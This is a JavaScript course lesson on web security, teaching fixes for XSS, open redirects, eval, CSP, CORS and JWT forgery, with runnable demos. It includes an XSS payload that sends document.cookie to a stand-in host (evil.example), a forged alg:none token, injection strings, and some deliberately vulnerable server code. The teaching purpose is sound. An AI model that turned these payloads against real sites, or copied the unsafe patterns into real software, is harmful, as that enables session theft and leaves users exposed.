JavaScript · lesson 23 of 24
Beginner
11- 1 Introduction to JavaScript
- 2 Setting Up JavaScript Development Environment
- 3 Variables in JavaScript: var, let, and const
- 4 JavaScript Data Types
- 5 JavaScript Operators
- 6 Control Flow in JavaScript
- 7 Functions in JavaScript
- 8 Working with Strings in JavaScript
- 9 Arrays in JavaScript
- 10 Objects in JavaScript
- 18 DOM Manipulation in JavaScript
Intermediate
10- 11 Error Handling in JavaScript
- 12 Object-Oriented Programming in JavaScript
- 13 Prototypes and Prototype Chain in JavaScript
- 14 Closures in JavaScript
- 15 JavaScript Event Loop Explained
- 16 Asynchronous JavaScript: Callbacks, Promises, and Async/Await
- 17 JavaScript Modules: ESM and CommonJS
- 19 Browser Web APIs in JavaScript
- 20 Testing JavaScript with Jest and Vitest
- 24 JavaScript Interview Preparation: Top 35 Questions
Advanced
3Also part of: Cryptography Web Security (OWASP Top 10, fix-side)
JavaScript Security Best Practices
Learn how to protect JavaScript applications from XSS, CSRF, prototype pollution, insecure JWT handling, and other common web security vulnerabilities.
By SkillByExample · Updated
Most JavaScript security bugs come from one mistake: data from a user ends up being treated as code — HTML, a URL, a script, a trusted object key. Every example below runs for real: plain Node, Node with the named npm package (dompurify, zod, jsonwebtoken, express, helmet), or — for the Content Security Policy — headless Chromium driven by Playwright.
XSS: User Input Rendered as HTML
Cross-site scripting happens when user input reaches the page as markup. Here is a server that echoes a query parameter into HTML, once raw and once escaped.
import http from "node:http";
const escapeHtml = (s) =>
s.replace(/[&<>"']/g, (c) => ({ "&": "&", "<": "<", ">": ">", '"': """, "'": "'" })[c]);
const server = http.createServer((req, res) => {
const url = new URL(req.url, "http://localhost");
const name = url.searchParams.get("name") ?? "guest";
const body = url.pathname === "/unsafe" ? `<h1>Hello, ${name}!</h1>` : `<h1>Hello, ${escapeHtml(name)}!</h1>`;
res.setHeader("Content-Type", "text/html");
res.end(body);
}).listen(0);
const payload = encodeURIComponent(`<img src=x onerror="fetch('//evil.example/?c='+document.cookie)">`);
for (const path of ["/unsafe", "/safe"]) {
const res = await fetch(`http://localhost:${server.address().port}${path}?name=${payload}`);
console.log(path.padEnd(8), await res.text());
}
server.close();
$ node reflected.mjs
/unsafe <h1>Hello, <img src=x onerror="fetch('//evil.example/?c='+document.cookie)">!</h1>
/safe <h1>Hello, <img src=x onerror="fetch('//evil.example/?c='+document.cookie)">!</h1>
The unsafe response contains a real <img> tag whose onerror handler would run in the victim’s browser and send their cookies to the attacker — all from a link someone clicked. Escaping the five HTML-special characters turns the payload into harmless text. In the browser the equivalent rule is textContent, not innerHTML (see the DOM lesson, which runs this exploit for real). Template engines and frameworks like React escape by default; the danger is every place you opt out.
DOM-Based XSS: Dangerous URLs
A redirect target taken from the query string can be a javascript: URL or another site. Validate it by parsing, not by string matching.
const ORIGIN = "https://app.example.com";
function safeRedirectTarget(input) {
try {
const url = new URL(input, ORIGIN);
return url.origin === ORIGIN ? url.pathname + url.search : "/";
} catch {
return "/";
}
}
const naive = (input) => (input.startsWith("/") ? input : "/");
for (const next of ["/settings?tab=2", "javascript:alert(document.cookie)",
"https://evil.example/login", "//evil.example/login", "/\\evil.example"]) {
console.log(next.padEnd(36), "naive:", naive(next).padEnd(18), "safe:", safeRedirectTarget(next));
}
$ node redirect.js
/settings?tab=2 naive: /settings?tab=2 safe: /settings?tab=2
javascript:alert(document.cookie) naive: / safe: /
https://evil.example/login naive: / safe: /
//evil.example/login naive: //evil.example/login safe: /
/\evil.example naive: /\evil.example safe: /
The naive startsWith("/") check lets //evil.example/login through — a protocol-relative URL that browsers treat as https://evil.example/login — and /\evil.example too, because the URL parser treats a backslash like a slash. The parser-based check catches both: resolved against our origin, they turn out to point somewhere else. Never try to out-guess the URL grammar with string checks.
Rendering User HTML: DOMPurify
When users genuinely author rich text, sanitize it with an allowlist before inserting it. DOMPurify needs a DOM; in Node, jsdom provides one.
import { JSDOM } from "jsdom";
import createDOMPurify from "dompurify";
const DOMPurify = createDOMPurify(new JSDOM("").window);
const userHtml = `<p>Nice <b>post</b>!</p><img src=x onerror=alert(1)>
<a href="javascript:alert(2)">click</a> <a href="https://example.com" onclick="steal()">ok</a>
<script>alert(3)</script><iframe src="https://evil.example"></iframe>`;
const clean = DOMPurify.sanitize(userHtml, {
ALLOWED_TAGS: ["p", "b", "i", "em", "strong", "a"],
ALLOWED_ATTR: ["href"],
});
console.log(clean);
console.log("removed:", DOMPurify.removed.length, "items");
$ node purify.mjs
<p>Nice <b>post</b>!</p>
<a>click</a> <a href="https://example.com">ok</a>
removed: 6 items
Everything executable is gone: the <script>, the <iframe>, the <img> (not on the allowlist), the onclick attribute, and the javascript: URL — its <a> survives but loses its href. The harmless markup is kept. An allowlist of tags and attributes is the safe design; blocklists always miss something.
Never Evaluate User Input
eval, new Function, and the string form of setTimeout compile their argument as code.
const userInput = "1 + 1; globalThis.pwned = process.version";
const viaEval = eval(userInput);
console.log("eval returned:", viaEval, "| side effect:", globalThis.pwned);
delete globalThis.pwned;
const safe = /^\s*\d+\s*[-+*/]\s*\d+\s*$/.test(userInput) ? "would compute" : "rejected: not a simple expression";
console.log(safe);
console.log(JSON.parse('{"a": 1}'), "— parsing data, not running code");
$ node eval.js
eval returned: v22.22.2 | side effect: v22.22.2
rejected: not a simple expression
{ a: 1 } — parsing data, not running code
The “calculator input” ran a second statement with full access to the process — on a server that could as easily read files or environment secrets. There’s almost never a reason to evaluate strings: parse data with JSON.parse, validate the exact shape you accept, and write a real parser if you need expressions.
Content Security Policy
A CSP header tells the browser which scripts may run, so an injected script is blocked even if an XSS bug slips through. Here a server sends a nonce-based policy, and headless Chromium loads the page.
import http from "node:http";
import crypto from "node:crypto";
import { chromium } from "playwright";
const server = http.createServer((req, res) => {
const nonce = crypto.randomBytes(16).toString("base64");
res.setHeader("Content-Security-Policy", `default-src 'self'; script-src 'nonce-${nonce}'`);
res.setHeader("Content-Type", "text/html");
res.end(`<p id="out"></p>
<script nonce="${nonce}">document.getElementById("out").textContent += "trusted ran; ";</script>
<script>document.getElementById("out").textContent += "INJECTED ran; ";</script>
<img src="x" onerror="document.getElementById('out').textContent += 'onerror ran; '">`);
}).listen(0);
const browser = await chromium.launch();
const page = await browser.newPage();
page.on("console", (msg) => console.log("console:", msg.text().slice(0, 90) + "…"));
await page.goto(`http://localhost:${server.address().port}/`);
console.log("page text:", await page.textContent("#out"));
await browser.close();
server.close();
$ node csp.mjs
console: Refused to execute inline script because it violates the following Content Security Policy…
console: Refused to execute inline event handler because it violates the following Content Security…
page text: trusted ran;
Only the script carrying the per-request nonce ran. The injected inline <script> and the onerror handler were both refused by the browser, which logged a CSP violation for each (the example truncates those long messages). An attacker can inject markup but can’t guess a fresh random nonce. Generate a new nonce for every response — a fixed one is just a password printed in the page source.
Validate Input on the Server
Client-side checks are UX; anyone can send any request with curl. Validate every request body on the server against a schema — here with Zod.
import { z } from "zod";
const CreateUser = z.object({
username: z.string().min(3).max(30).regex(/^[a-zA-Z0-9_]+$/, "letters, digits and _ only"),
email: z.email(),
age: z.number().int().min(13).max(120),
website: z.url({ protocol: /^https?$/ }).optional(),
});
const requests = [
{ username: "alice_1", email: "alice@example.com", age: 30, isAdmin: true },
{ username: "<script>", email: "nope", age: "30", website: "javascript:alert(1)" },
];
for (const body of requests) {
const result = CreateUser.safeParse(body);
console.log(result.success ? result.data : z.flattenError(result.error).fieldErrors);
}
$ node validate.mjs
{ username: 'alice_1', email: 'alice@example.com', age: 30 }
{
username: [ 'letters, digits and _ only' ],
email: [ 'Invalid email address' ],
age: [ 'Invalid input: expected number, received string' ],
website: [ 'Invalid URL' ]
}
The valid body came back without isAdmin: by default Zod strips keys the schema doesn’t declare, which blocks mass-assignment attacks where a client adds fields you never meant to accept. The bad body failed on every field, including age: "30" — a string, not a number, so no silent coercion — and a javascript: URL that a plain “is it a URL?” check would have allowed.
CORS: Don’t Reflect the Origin
CORS headers tell browsers which other sites may read your API’s responses. Reflecting whatever Origin arrives, with credentials allowed, lets any site read a logged-in user’s data.
import http from "node:http";
const ALLOWED = new Set(["https://app.example.com"]);
const server = http.createServer((req, res) => {
const origin = req.headers.origin;
if (req.url === "/reflect") {
res.setHeader("Access-Control-Allow-Origin", origin ?? "*");
res.setHeader("Access-Control-Allow-Credentials", "true");
} else if (ALLOWED.has(origin)) {
res.setHeader("Access-Control-Allow-Origin", origin);
res.setHeader("Access-Control-Allow-Credentials", "true");
}
res.setHeader("Vary", "Origin");
res.end('{"balance": 1200}');
}).listen(0);
for (const path of ["/reflect", "/allowlist"]) {
for (const origin of ["https://app.example.com", "https://evil.example"]) {
const res = await fetch(`http://localhost:${server.address().port}${path}`, { headers: { Origin: origin } });
console.log(path.padEnd(10), origin.padEnd(24), "->", res.headers.get("access-control-allow-origin") ?? "(no header: browser blocks the read)");
}
}
server.close();
$ node cors.mjs
/reflect https://app.example.com -> https://app.example.com
/reflect https://evil.example -> https://evil.example
/allowlist https://app.example.com -> https://app.example.com
/allowlist https://evil.example -> (no header: browser blocks the read)
With reflection, evil.example is granted access just by asking. With an allowlist, it gets no Access-Control-Allow-Origin header, so the browser refuses to hand the response to the evil page’s script. Vary: Origin stops a shared cache from serving one origin’s CORS headers to another. Note what CORS is not: the request still reached the server — CORS only controls whether browser JavaScript on another site can read the response.
JWTs: Verify, and Pin the Algorithm
A JWT’s payload is only base64-encoded, not encrypted, and it means nothing until its signature is verified.
import jwt from "jsonwebtoken";
const SECRET = "a-long-random-secret-from-the-environment-not-source-code";
const token = jwt.sign({ sub: "alice", role: "user" }, SECRET, { algorithm: "HS256", expiresIn: "15m" });
const decodedOnly = JSON.parse(Buffer.from(token.split(".")[1], "base64url").toString());
console.log("anyone can read:", decodedOnly);
const b64 = (o) => Buffer.from(JSON.stringify(o)).toString("base64url");
const forged = `${b64({ alg: "none", typ: "JWT" })}.${b64({ sub: "alice", role: "admin" })}.`;
console.log("naive decode of forged:", JSON.parse(Buffer.from(forged.split(".")[1], "base64url")).role);
const expired = jwt.sign({ sub: "alice", exp: Math.floor(Date.now() / 1000) - 60 }, SECRET);
for (const [label, t] of [["valid", token], ["forged alg:none", forged], ["expired", expired]]) {
try {
const claims = jwt.verify(t, SECRET, { algorithms: ["HS256"] });
console.log(label.padEnd(16), "accepted, role =", claims.role);
} catch (err) {
console.log(label.padEnd(16), "rejected:", err.message);
}
}
$ node jwt.mjs
anyone can read: { sub: 'alice', role: 'user', iat: 1790792716, exp: 1790793616 }
naive decode of forged: admin
valid accepted, role = user
forged alg:none rejected: jwt signature is required
expired rejected: jwt expired
Decoding without verifying would have accepted the forged role: "admin" — the attacker simply wrote it and set alg: "none" to claim no signature is needed. jwt.verify with an explicit algorithms allowlist rejects it, and rejects the expired token too. Keep tokens short-lived, never put secrets in the payload (anyone can read it), and keep the signing secret out of source code.
Security Headers
helmet sets a batch of protective response headers for Express apps in one line.
import express from "express";
import helmet from "helmet";
const app = express();
app.use(helmet());
app.get("/", (req, res) => res.send("ok"));
const server = app.listen(0, async () => {
const res = await fetch(`http://localhost:${server.address().port}/`);
for (const name of ["content-security-policy", "strict-transport-security", "x-content-type-options",
"x-frame-options", "referrer-policy", "x-powered-by"]) {
console.log(name.padEnd(26), res.headers.get(name) ?? "(not sent)");
}
server.close();
});
$ node headers.mjs
content-security-policy default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests
strict-transport-security max-age=31536000; includeSubDomains
x-content-type-options nosniff
x-frame-options SAMEORIGIN
referrer-policy no-referrer
x-powered-by (not sent)
A default CSP, HSTS (force HTTPS for a year), nosniff (don’t guess content types), SAMEORIGIN framing (clickjacking protection) and a privacy-preserving referrer policy — and Express’s X-Powered-By banner is removed so you don’t advertise your stack. Tune the CSP for your app rather than disabling it when something breaks.
Quick Reference
| Threat | Prevention |
|---|---|
| XSS | Escape output / textContent; DOMPurify for rich text; CSP with nonces |
Open redirect, javascript: URLs | Parse with new URL and compare origins |
| Code injection | Never eval, new Function or setTimeout(string) user data |
| Bad input | Server-side schema validation; strip unknown keys |
| CORS bypass | Explicit origin allowlist, Vary: Origin |
| JWT forgery | jwt.verify with an algorithms allowlist; short expiry |
| Prototype pollution | Skip __proto__/constructor/prototype in merges — see Prototypes |
Practice
1. Extend escapeHtml's test: show that it neutralises an attribute-breaking payload inside value="…".
const escapeHtml = (s) =>
s.replace(/[&<>"']/g, (c) => ({ "&": "&", "<": "<", ">": ">", '"': """, "'": "'" })[c]);
const input = `" autofocus onfocus="alert(1)`;
console.log(`<input value="${input}">`);
console.log(`<input value="${escapeHtml(input)}">`);
$ node p1.js
<input value="" autofocus onfocus="alert(1)">
<input value="" autofocus onfocus="alert(1)">
Without escaping ", the payload closes the attribute and adds its own event handler — no angle brackets needed. That’s why the escape set includes both quote characters.
2. Add a password rule to the Zod schema: at least 12 characters with at least one digit.
import { z } from "zod";
const Password = z.string().min(12, "at least 12 characters").regex(/\d/, "needs a digit");
for (const pw of ["short", "longbutnodigits", "correct-horse-7"]) {
const r = Password.safeParse(pw);
console.log(pw.padEnd(16), r.success ? "ok" : r.error.issues.map((i) => i.message).join("; "));
}
$ node p2.mjs
short at least 12 characters; needs a digit
longbutnodigits needs a digit
correct-horse-7 ok
Zod collects every failing rule rather than stopping at the first, so users see all the requirements at once.
3. Show that jwt.verify rejects a token signed with a different secret.
import jwt from "jsonwebtoken";
const token = jwt.sign({ sub: "mallory", role: "admin" }, "attacker-guess");
try {
jwt.verify(token, "the-real-server-secret", { algorithms: ["HS256"] });
} catch (err) {
console.log(err.name, "-", err.message);
}
$ node p3.mjs
JsonWebTokenError - invalid signature
HS256 signatures are only as strong as the secret — use at least 32 random bytes, never a word or a default.
4. Make the redirect check also reject same-origin paths under /admin.
const ORIGIN = "https://app.example.com";
function safeRedirectTarget(input) {
try {
const url = new URL(input, ORIGIN);
if (url.origin !== ORIGIN || url.pathname.startsWith("/admin")) return "/";
return url.pathname + url.search;
} catch { return "/"; }
}
for (const next of ["/settings", "/admin/users", "/%61dmin/users", "/x/../admin"]) {
console.log(next.padEnd(14), "->", safeRedirectTarget(next));
}
$ node p4.js
/settings -> /settings
/admin/users -> /
/%61dmin/users -> /%61dmin/users
/x/../admin -> /
Checking the parsed pathname means .. segments are already resolved. Percent-encoding is a trap, though: /%61dmin is kept encoded by the parser, slips past the check, and a server that decodes paths would serve /admin. Decode (and normalise) before comparing, or better, check the destination’s permissions on the server rather than the URL’s spelling.